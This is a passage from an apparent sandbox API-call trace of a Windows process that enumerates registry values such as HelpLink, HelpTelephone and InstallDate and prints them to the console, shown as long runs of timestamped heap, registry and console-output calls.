lpData=0x0, lpcbData=0x0) returned 0x0 [0148.459] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x5c) returned 0x0 [0148.460] GetProcessHeap () returned 0x2e0000 [0148.460] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x5e) returned 0x3019a0 [0148.460] GetProcessHeap () returned 0x2e0000 [0148.460] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3019a0) returned 1 [0148.461] GetProcessHeap () returned 0x2e0000 [0148.461] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x3019a0) returned 0x5e [0148.461] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x3019a0, pcbData=0x23f670*=0x5c | out: pdwType=0x23f5f0*=0x2, pvData="http://go.microsoft.com/fwlink/?LinkId=133405", pcbData=0x23f670*=0x5c) returned 0x0 [0148.461] __iob_func () returned 0x7fefd702a80 [0148.461] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.461] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.461] _fileno (_File=0x7fefd702ab0) returned 1 [0148.461] _errno () returned 0xc4bb0 [0148.461] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.461] _errno () returned 0xc4bb0 [0148.461] GetFileType (hFile=0x50) returned 0x1 [0148.461] lstrlenW (lpString=" ") returned 4 [0148.461] GetConsoleOutputCP () returned 0x1b5 [0148.461] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.461] GetConsoleOutputCP () returned 0x1b5 [0148.461] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.461] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.461] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.461] lstrlenW (lpString="HelpLink") returned 8 [0148.461] __iob_func () returned 0x7fefd702a80 [0148.461] _fileno (_File=0x7fefd702ab0) returned 1 [0148.461] _errno () returned 0xc4bb0 [0148.461] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.461] _errno () returned 0xc4bb0 [0148.461] GetFileType (hFile=0x50) returned 0x1 [0148.462] lstrlenW (lpString="HelpLink") returned 8 [0148.462] GetConsoleOutputCP () returned 0x1b5 [0148.462] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0148.462] GetConsoleOutputCP () returned 0x1b5 [0148.462] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpLink", lpUsedDefaultChar=0x0) returned 8 [0148.462] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0148.462] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.462] __iob_func () returned 0x7fefd702a80 [0148.462] _fileno (_File=0x7fefd702ab0) returned 1 [0148.462] _errno () returned 0xc4bb0 [0148.462] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.462] _errno () returned 0xc4bb0 [0148.462] GetFileType (hFile=0x50) returned 0x1 [0148.462] lstrlenW (lpString=" ") returned 4 [0148.462] GetConsoleOutputCP () returned 0x1b5 [0148.462] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.462] GetConsoleOutputCP () returned 0x1b5 [0148.462] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.462] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.462] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.463] __iob_func () returned 0x7fefd702a80 [0148.463] _fileno (_File=0x7fefd702ab0) returned 1 [0148.463] _errno () returned 0xc4bb0 [0148.463] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.463] _errno () returned 0xc4bb0 [0148.463] GetFileType (hFile=0x50) returned 0x1 [0148.463] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0148.463] GetConsoleOutputCP () returned 0x1b5 [0148.463] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.463] GetConsoleOutputCP () returned 0x1b5 [0148.463] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0148.463] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0148.463] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.463] __iob_func () returned 0x7fefd702a80 [0148.463] _fileno (_File=0x7fefd702ab0) returned 1 [0148.463] _errno () returned 0xc4bb0 [0148.463] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.463] _errno () returned 0xc4bb0 [0148.463] GetFileType (hFile=0x50) returned 0x1 [0148.463] lstrlenW (lpString=" ") returned 4 [0148.463] GetConsoleOutputCP () returned 0x1b5 [0148.463] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.463] GetConsoleOutputCP () returned 0x1b5 [0148.464] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.464] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.464] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.464] __iob_func () returned 0x7fefd702a80 [0148.464] _fileno (_File=0x7fefd702ab0) returned 1 [0148.464] _errno () returned 0xc4bb0 [0148.464] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.464] _errno () returned 0xc4bb0 [0148.464] GetFileType (hFile=0x50) returned 0x1 [0148.464] lstrlenW (lpString="http://go.microsoft.com/fwlink/?LinkId=133405") returned 45 [0148.464] GetConsoleOutputCP () returned 0x1b5 [0148.464] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://go.microsoft.com/fwlink/?LinkId=133405", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0148.464] GetConsoleOutputCP () returned 0x1b5 [0148.464] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://go.microsoft.com/fwlink/?LinkId=133405", cchWideChar=45, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://go.microsoft.com/fwlink/?LinkId=133405", lpUsedDefaultChar=0x0) returned 45 [0148.464] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 45 [0148.464] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.464] __iob_func () returned 0x7fefd702a80 [0148.464] _fileno (_File=0x7fefd702ab0) returned 1 [0148.464] _errno () returned 0xc4bb0 [0148.464] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.464] _errno () returned 0xc4bb0 [0148.464] GetFileType (hFile=0x50) returned 0x1 [0148.464] lstrlenW (lpString="\n") returned 1 [0148.465] GetConsoleOutputCP () returned 0x1b5 [0148.465] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.465] GetConsoleOutputCP () returned 0x1b5 [0148.465] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.465] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.465] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.465] GetProcessHeap () returned 0x2e0000 [0148.465] GetProcessHeap () returned 0x2e0000 [0148.465] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3019a0) returned 1 [0148.465] GetProcessHeap () returned 0x2e0000 [0148.465] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x3019a0) returned 0x5e [0148.465] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3019a0 | out: hHeap=0x2e0000) returned 1 [0148.465] RegEnumValueW (in: hKey=0x5c, dwIndex=0x5, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpTelephone", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.465] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.465] GetProcessHeap () returned 0x2e0000 [0148.465] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.465] GetProcessHeap () returned 0x2e0000 [0148.465] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.465] GetProcessHeap () returned 0x2e0000 [0148.465] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.465] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0148.465] __iob_func () returned 0x7fefd702a80 [0148.465] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.465] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.465] _fileno (_File=0x7fefd702ab0) returned 1 [0148.466] _errno () returned 0xc4bb0 [0148.466] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.466] _errno () returned 0xc4bb0 [0148.466] GetFileType (hFile=0x50) returned 0x1 [0148.466] lstrlenW (lpString=" ") returned 4 [0148.466] GetConsoleOutputCP () returned 0x1b5 [0148.466] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.466] GetConsoleOutputCP () returned 0x1b5 [0148.466] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.466] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.466] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.466] lstrlenW (lpString="HelpTelephone") returned 13 [0148.466] __iob_func () returned 0x7fefd702a80 [0148.466] _fileno (_File=0x7fefd702ab0) returned 1 [0148.466] _errno () returned 0xc4bb0 [0148.466] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.466] _errno () returned 0xc4bb0 [0148.466] GetFileType (hFile=0x50) returned 0x1 [0148.466] lstrlenW (lpString="HelpTelephone") returned 13 [0148.466] GetConsoleOutputCP () returned 0x1b5 [0148.466] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.466] GetConsoleOutputCP () returned 0x1b5 [0148.467] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpTelephone", lpUsedDefaultChar=0x0) returned 13 [0148.467] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0148.467] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.467] __iob_func () returned 0x7fefd702a80 [0148.467] _fileno (_File=0x7fefd702ab0) returned 1 [0148.467] _errno () returned 0xc4bb0 [0148.467] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.467] _errno () returned 0xc4bb0 [0148.467] GetFileType (hFile=0x50) returned 0x1 [0148.467] lstrlenW (lpString=" ") returned 4 [0148.467] GetConsoleOutputCP () returned 0x1b5 [0148.467] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.467] GetConsoleOutputCP () returned 0x1b5 [0148.467] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.467] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.467] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.467] __iob_func () returned 0x7fefd702a80 [0148.467] _fileno (_File=0x7fefd702ab0) returned 1 [0148.467] _errno () returned 0xc4bb0 [0148.467] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.467] _errno () returned 0xc4bb0 [0148.467] GetFileType (hFile=0x50) returned 0x1 [0148.467] lstrlenW (lpString="REG_SZ") returned 6 [0148.467] GetConsoleOutputCP () returned 0x1b5 [0148.468] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.468] GetConsoleOutputCP () returned 0x1b5 [0148.468] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.468] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.468] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.468] __iob_func () returned 0x7fefd702a80 [0148.468] _fileno (_File=0x7fefd702ab0) returned 1 [0148.468] _errno () returned 0xc4bb0 [0148.468] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.468] _errno () returned 0xc4bb0 [0148.468] GetFileType (hFile=0x50) returned 0x1 [0148.468] lstrlenW (lpString=" ") returned 4 [0148.468] GetConsoleOutputCP () returned 0x1b5 [0148.468] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.468] GetConsoleOutputCP () returned 0x1b5 [0148.468] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.468] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.468] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.468] __iob_func () returned 0x7fefd702a80 [0148.468] _fileno (_File=0x7fefd702ab0) returned 1 [0148.468] _errno () returned 0xc4bb0 [0148.468] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.468] _errno () returned 0xc4bb0 [0148.469] GetFileType (hFile=0x50) returned 0x1 [0148.469] lstrlenW (lpString="") returned 0 [0148.469] __iob_func () returned 0x7fefd702a80 [0148.469] _fileno (_File=0x7fefd702ab0) returned 1 [0148.469] _errno () returned 0xc4bb0 [0148.469] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.469] _errno () returned 0xc4bb0 [0148.469] GetFileType (hFile=0x50) returned 0x1 [0148.469] lstrlenW (lpString="\n") returned 1 [0148.469] GetConsoleOutputCP () returned 0x1b5 [0148.469] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.469] GetConsoleOutputCP () returned 0x1b5 [0148.469] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.469] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.469] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.469] GetProcessHeap () returned 0x2e0000 [0148.469] GetProcessHeap () returned 0x2e0000 [0148.469] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.469] GetProcessHeap () returned 0x2e0000 [0148.469] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.469] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.469] RegEnumValueW (in: hKey=0x5c, dwIndex=0x6, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallDate", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.469] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x14) returned 0x0 [0148.470] GetProcessHeap () returned 0x2e0000 [0148.470] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x16) returned 0x2fd1a0 [0148.470] GetProcessHeap () returned 0x2e0000 [0148.470] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0) returned 1 [0148.470] GetProcessHeap () returned 0x2e0000 [0148.470] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd1a0) returned 0x16 [0148.470] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd1a0, pcbData=0x23f670*=0x14 | out: pdwType=0x23f5f0*=0x1, pvData="20170630", pcbData=0x23f670*=0x12) returned 0x0 [0148.470] __iob_func () returned 0x7fefd702a80 [0148.470] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.470] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.470] _fileno (_File=0x7fefd702ab0) returned 1 [0148.470] _errno () returned 0xc4bb0 [0148.470] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.470] _errno () returned 0xc4bb0 [0148.470] GetFileType (hFile=0x50) returned 0x1 [0148.470] lstrlenW (lpString=" ") returned 4 [0148.470] GetConsoleOutputCP () returned 0x1b5 [0148.470] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.470] GetConsoleOutputCP () returned 0x1b5 [0148.470] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.470] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.470] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.470] lstrlenW (lpString="InstallDate") returned 11 [0148.470] __iob_func () returned 0x7fefd702a80 [0148.470] _fileno (_File=0x7fefd702ab0) returned 1 [0148.470] _errno () returned 0xc4bb0 [0148.470] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.470] _errno () returned 0xc4bb0 [0148.470] GetFileType (hFile=0x50) returned 0x1 [0148.471] lstrlenW (lpString="InstallDate") returned 11 [0148.471] GetConsoleOutputCP () returned 0x1b5 [0148.471] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0148.471] GetConsoleOutputCP () returned 0x1b5 [0148.471] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallDate", lpUsedDefaultChar=0x0) returned 11 [0148.471] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0148.471] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.471] __iob_func () returned 0x7fefd702a80 [0148.471] _fileno (_File=0x7fefd702ab0) returned 1 [0148.471] _errno () returned 0xc4bb0 [0148.471] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.471] _errno () returned 0xc4bb0 [0148.471] GetFileType (hFile=0x50) returned 0x1 [0148.471] lstrlenW (lpString=" ") returned 4 [0148.471] GetConsoleOutputCP () returned 0x1b5 [0148.471] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.471] GetConsoleOutputCP () returned 0x1b5 [0148.471] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.471] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.471] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.472] __iob_func () returned 0x7fefd702a80 [0148.472] _fileno (_File=0x7fefd702ab0) returned 1 [0148.472] _errno () returned 0xc4bb0 [0148.472] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.472] _errno () returned 0xc4bb0 [0148.472] GetFileType (hFile=0x50) returned 0x1 [0148.472] lstrlenW (lpString="REG_SZ") returned 6 [0148.472] GetConsoleOutputCP () returned 0x1b5 [0148.472] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.472] GetConsoleOutputCP () returned 0x1b5 [0148.472] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.472] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.472] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.472] __iob_func () returned 0x7fefd702a80 [0148.472] _fileno (_File=0x7fefd702ab0) returned 1 [0148.472] _errno () returned 0xc4bb0 [0148.472] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.472] _errno () returned 0xc4bb0 [0148.472] GetFileType (hFile=0x50) returned 0x1 [0148.472] lstrlenW (lpString=" ") returned 4 [0148.472] GetConsoleOutputCP () returned 0x1b5 [0148.472] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.473] GetConsoleOutputCP () returned 0x1b5 [0148.473] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.473] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.473] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.474] __iob_func () returned 